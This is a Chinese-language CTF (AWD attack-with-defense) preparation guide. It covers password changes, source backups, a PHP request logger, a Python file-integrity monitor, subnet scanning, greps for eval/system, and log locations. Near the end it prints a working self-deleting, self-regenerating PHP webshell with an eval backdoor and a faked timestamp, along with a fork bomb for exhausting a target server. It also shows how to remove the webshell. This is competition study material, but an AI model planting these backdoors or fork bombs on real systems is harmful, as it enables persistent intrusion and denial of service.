AWD赛前信息收集
# AWD赛前信息收集
感谢A1gorithms师傅在此提供的帮助
参考文章
本文内容摘抄自以上文章
# 比赛进程
一般比赛会将加固环节和攻击环节分开,先统一加固后再进行攻击。
比赛开始后显示账号
bugku平台,如team1 密码为fe85d7dec6e3757f391e013efdd67c0c,端口为2222,一般服务器为Linux系统,登录工具可以使用xSHELL,finalSHELL等。
Token主要用于脚本身份凭证用于自动化提交鉴别。虚拟IP为靶机访问网址。其他选手地址为192-168-x-250.pvp1923.bugku.cn,x可以是1-255内任一个数字
# ssh修改
单个靶机修改密码
passwd
# 备份打包源码
网站源码备份
cd /var/www/html
tar -zcvf ~/html.tar.gz *
cd
2
3
使用Xshell及Xftp下载到本地,使用D盾分析漏洞
注意
务必查杀存在的后门及漏洞,减少后续维护强度
# 数据库
Mysql密码默认都是root,使用CMS框架时密码在cms框架配置文件中
数据库密码修改
mysql -u root -p
show databases;
use mysql
# 替换此处密码!!
set password for root@localhost = password('123');
2
3
4
5
# 流量监控
url中可能存在其他选手的payload攻击记录
<?php
$ip = $_SERVER["REMOTE_ADDR"]; //记录访问者的ip
$filename = $_SERVER['PHP_SELF']; //访问者要访问的文件名
$parameter = $_SERVER["QUERY_STRING"]; //访问者要请求的参数
$method = $_SERVER['REQUEST_METHOD']; //请求方法
$uri = $_SERVER['REQUEST_URI']; //请求URI
$time = date('Y-m-d H:i:s',time()); //访问时间
$post = file_get_contents("php://input",'r'); //接收POST数据
$others = '...其他你想得到的信息...';
$logadd = 'Visit Time:'.$time.' '.'Visit IP:'.$ip."\r\n".'RequestURI:'.$uri.' '.$parameter.'RequestMethod:'.$method."\r\n";
// log记录,写到/tmp/log.txt文件中
$fh = fopen("/tmp/log.txt", "a+");
fwrite($fh, $logadd);
fwrite($fh, print_r($_COOKIE, true)."\r\n");
fwrite($fh, $post."\r\n");
fwrite($fh, $others."\r\n");
fclose($fh);
?>Copy
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
这种脚本一般放置在CMS的入口文件处
# 文件监控
# -*- coding: utf-8 -*-#
# awd文件监控脚本
import os
import json
import time
import hashlib
def ListDir(path): # 获取网站所有文件
for file in os.listdir(path):
file_path = os.path.join(path, file)
if os.path.isdir(file_path):
if initialization['ok'] == 'false':
dir_list.append(file_path)
else:
dir_list_tmp.append(file_path)
ListDir(file_path)
else:
if initialization['ok'] == 'false':
file_list.append(file_path)
else:
file_list_tmp.append(file_path)
def GetHash(): # 获取hash,建立索引
for bak in file_list:
with open(bak, 'rb') as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
hash = md5obj.hexdigest()
bak_dict[bak] = hash
if os.path.exists('/tmp/awd_web_hash.txt') == False:
os.system('mkdir /tmp/awd_web_bak/')
os.system('\\cp -a {0}* /tmp/awd_web_bak/'.format(web_dir))
with open('/tmp/awd_web_hash.txt', 'w') as f: # 记录web文件hash
f.write(str(json.dumps(bak_dict)))
for i in file_list: # 记录web文件列表
with open('/tmp/awd_web_list.txt', 'a') as f:
f.write(i + '\n')
for i in dir_list: # 记录web目录列表
with open('/tmp/awd_web_dir.txt', 'a') as f:
f.write(i + '\n')
def FileMonitor(): # 文件监控
# 提取当前web目录状态
initialization['ok'] = 'true'
for file in os.listdir(web_dir):
file_path = os.path.join(web_dir, file)
if os.path.isdir(file_path):
dir_list_tmp.append(file_path)
ListDir(file_path)
else:
file_list_tmp.append(file_path)
for file in file_list_tmp:
with open(file, 'rb') as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
hash = md5obj.hexdigest()
bak_dict_tmp[file] = hash
with open('/tmp/awd_web_hash.txt', 'r') as f: # 读取备份的文件hash
real_bak_dict = json.loads(f.read())
with open('/tmp/awd_web_list.txt', 'r') as f: # 读取备份的文件列表
real_file_list = f.read().split('\n')[0:-1]
with open('/tmp/awd_web_dir.txt', 'r') as f: # 读取备份的目录列表
real_dir_list = f.read().split('\n')[0:-1]
for dir in real_dir_list: # 恢复web目录
try:
os.makedirs(dir)
print("[del-recover]dir:{}".format(dir))
except:
pass
for file in file_list_tmp:
try:
if real_bak_dict[file] != bak_dict_tmp[file]: # 检测被篡改的文件,自动恢复
os.system('\\cp {0} {1}'.format(file.replace(web_dir, '/tmp/awd_web_bak/'), file))
print("[modify-recover]file:{}".format(file))
except: # 检测新增的文件,自动删除
os.system('rm -rf {0}'.format(file))
print("[delete]webshell:{0}".format(file))
for real_file in real_file_list: # 检测被删除的文件,自动恢复
if real_file not in file_list_tmp:
os.system('\\cp {0} {1}'.format(real_file.replace(web_dir, '/tmp/awd_web_bak/'), real_file))
print("[del-recover]file:{0}".format(real_file))
file_list_tmp[:] = []
dir_list_tmp[:] = []
os.system("rm -rf /tmp/awd_web_hash.txt /tmp/awd_web_list.txt /tmp/awd_web_dir.txt /tmp/awd_web_bak/")
web_dir = "/var/www/" # web目录,注意最后要加斜杠
file_list = []
dir_list = []
bak_dict = {}
file_list_tmp = []
dir_list_tmp = []
bak_dict_tmp = {}
initialization = {'ok': 'false'}
ListDir(web_dir)
GetHash()
while True:
print(time.ctime()+" 安全")
FileMonitor()
time.sleep(1) # 监控间隔,按需修改
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
# 主机扫描
扫描同网段其他选手靶机
import requests
for x in range(2,255):
url = "http://192.168.1.{}".format(x)
try:
r = requests.post(url)
print(url)
except:
pass
2
3
4
5
6
7
8
9
# 扫描漏洞
# 软件分析
D盾分析源码中的后门文件D盾官网 (opens new window)
# 脚本检测
find . -name '*.php' | xargs grep -n 'eval('
find . -name '*.php' | xargs grep -n 'assert('
find . -name '*.php' | xargs grep -n 'system('
2
3
4
5
# 日志分析
网站日志位置
提示
Nginx日志 /var/log/nginx/access.log
apahce日志 对于Ubuntu/Debian系统,通常位于/var/log/apache2/access.log 对于CentOS/RHEL系统,通常位于/var/log/httpd/access_log
# 杀死反弹shell
查看进程
ps -ef
ps -aux
ps -aux | grep www-data
2
3
杀死进程
kill ps -aux | grep www-data | grep apache2 | awk '{print $2}'
# 不死马
# 创建
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code);
# 修改文件时间戳减少嫌疑?
system('touch -m -d "2018-12-01 09:10:12" .2.php');
usleep(5000);
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
# 清除
创建一个和不死马生成的马一样名字的文件夹。
ps auxww|grep shell.php 找到pid后杀掉进程就可以,你删掉脚本是起不了作用的,因为php执行的时候已经把脚本读进去解释成opcode运行了
重启php等web服务
service php-fpm restart
- 用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值。
# fork炸弹
耗尽目标服务器资源
:() { :|: & };:
# 赛后总结
# 源码备份
源码一定要备份审计,多次备份时不要覆盖之前的源码,删错代码把自己玩死肠子都悔青了
# mysql
如果是cms框架,修改mysql密码时,默认密码可能在cms框架配置文件中